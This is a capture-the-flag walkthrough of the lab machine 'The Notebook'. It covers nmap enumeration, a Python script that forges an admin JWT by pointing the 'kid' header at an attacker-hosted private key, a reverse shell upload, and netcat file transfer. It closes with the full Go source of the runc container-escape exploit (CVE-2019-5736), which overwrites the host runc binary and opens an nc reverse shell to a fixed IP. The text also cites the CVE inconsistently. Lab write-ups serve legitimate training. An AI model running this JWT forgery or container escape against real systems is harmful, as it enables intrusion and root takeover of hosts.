The Notebook (Medium)

Enumeration

nmap

nmap -sC -sV -oA nmap/10.10.10.230 10.10.10.230
Nmap scan report for 10.10.10.230
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 25 12:11:33 2021 -- 1 IP address (1 host up) scanned in 55.36 seconds

Let's navigate to port 80 as usual

If we click register, we will able to register

After register we will see a page like this

After poking around, we can see there is a jwt authentication token at cookie. By using cookie editor, we can see something like this.

We can proceed to decode it using jwt.io

After some researching, the kid parameter at the header actually vulnerable.

Still, after some researching, I stumbled across this script. Basically we can just write a script and self-signed the token

import jwt


key = """-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA+xARa20fS5DOXOsy24Q9spQLi4YoO0g19kkBXgurCRCitr0d
DppT49GpJdtM4VAYIzMxvGtJRgaan9hTpyMUu2w25jAz8WPQUu0o4NIBFzQFtjB8
sG5a25H1kEMCyfzhXMBN4G0ZORMHfx7aKn8tJEcilpIkU1Ryo4sxrH5HqKQ3OF8/
YR+DpUwWwbWLFwGYjw97PUW4c7fVY9hV1v5SIeAlYI1FygeSW/dHWpkDwM0RJ2MF
CsjrLSlErkfGe7iL2LnLbFNXhbwFxp3zsdlWLRzKaC+wZYnmGYMvvD6YOgqs/4uK
wR9NdJ/F4pJzpmjtK8PVzYVZpwAxIgbcIHspQwIDAQABAoIBACl7AiXJpb4Kcs4P
Xhu+waLbqvymccc5qxDCByPOsbeRtBCVNlPPU8T0QwoqLY2ceiB2uOT0pOqY9Lss
NsYKmcZNntRxamObpjPNU0+x4tQ+mCL959wOn5xfhT8Mk01kJqf4beWCoQQ5DKgI
JOuYj5DK4AAYrT/HWBmFSfPB+Xz3MRIqQ0WlwctCg2MSikBdUpaBOBgCqfyDCVQX
lnDd1NF5GAWgDRuV30oeh1RGtnTWbR88K3y3g6iYa4Y470cXzRvmb1obeMBU2RAK
6BZNot80e166WvBoIVJqPB6A/quvaXn0p1OoTtPg6NGiq5JmfBP/oDOZ/r1fKM48
hUb1HOECgYEA/misZV58UGc/5oUjlBvR4BwRviR9Wt10ysCOzutPmwPDUuCUo78g
62Dpu3Gg84O+DJ836EJD9or0KzHIxBmBQLfzcSyZk4oxtK3cMxgeNdTbe9u5Zurw
4+S0On8Gfaxs6DG/718dECtpQ033bH5XC627P4ZJpIuw24RbYUpnc60CgYEA/KIJ
ibkJuhMbEV6R1sJD+7E4+O4pQJLVTBnC5QG19RPCYNuDTVEYhF5O3CIiplTGV4ZX
ToGFa2kV44Tm5+dMGBFGs4KFBc7FY8zpqFyxW565idzOMocaVsky27AYTPFWh8Yt
7dcYNyJyEozEtGH+DqNNDPs96/jXdpZzgZAiLq8CgYAMUjl3N1pB8p4vpecRNz+0
4OcjFFVV3z/WyfigoNjcIxSEoQfR3mHTxH/NajVnVcwQhG2KvBrah+RHa0PT64BN
CBusMYLGmHzLyVfOya484TA4EW4rQ9miz+LCqoA/+efUXwRyrWKU8+VHMzF2ea/x
itp0uyY55+IK36AlWBsmiQKBgQD4ANn8KXozAK6BzqS8ftjeLIwRUzuL+JkLq/53
ccZ+YHdhPh0XuZSn3SztTVVWk8JiCa+Lkfq4BuFGCSHkZlt9BPizIF4V5XZBEtgO
P3Cc0KSzgd+qGpbwu3MB100Du6eGgjZ0VcOf3GC/dRFlQw10sTrik4GmNRLPh8K8
XhIwYQKBgEuqPx/nii0ZKLDbLZGO5mUH3pji0D53lU+G4Rk6EwCn/IvprzoJh8tz
kg7VNMZ/YhFbYoRyFMtCuKXcMCjiVctljo8KrWzHhdYAVX/lId+a2ismX+IgD7Tv
OJWOjtiaXdr0DX1Oad0Ju12nh++voKNcB/L5C447IahkjgzpXLDt
-----END RSA PRIVATE KEY-----
"""
head = {
    "typ": "JWT", 
    "alg": "RS256",
    "kid": "http://10.10.16.31:7070/privKey.key"
}
payload = {
    "username":"test",
    "email":"test@test.htb",
    "admin_cap":True
}

jwt_token = jwt.encode(payload,key,"RS256",head)
print(jwt_token)

We need to change the localhost from the kid parameter to our IP address so they know where to find the privKey.key file to validate the token authentication.

We first open a listener and paste the generated token to the cookie editor.

And then walla, got an Admin Panel

From the admin panel, we are able to upload files

Reverse Shell

Then we proceed to uplaod a reverse shell file

After uploaded the reverse shell file, we will see this

We can proceed to start a listener and grab a reverse shell by clicking the view

User Shell Escalation

After some digging, we can see this home.tar.gz file under /var/backups

We can proceed to netcat the file back to our machine and extract it.

After extracted, we will get a home directory

Got an id_rsa file ! Finally we can login as user noah

Privilege Escalation

We can see there is a command we can execute using sudo.

We can see the version of the docker by supplying docker --version

This version of docker actually vulnerable to Docker escape--runc container escape vulnerability (CVE-2019-5731)

By researching, we can find this github where it teaches the PoC how to exploit the docker.

After supplying this command, we can get a root container

sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash

We are not yet getting the root user.

What we need to do is to modify the exploit given by the PoC

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
)

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.31 6666 >/tmp/f"

func main() {
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}

Then, we can build it using go command

go build <filename>

We can then send it to the victim machine

We then need to run the script, and during the running state when showing Overwritten /bin/sh successfully, we need to have another terminal at the same time running another command

Then we need to fire up our netcat listener before the process of exploiting and when the command is sent, we will get the shell back.

Congratz!

Last updated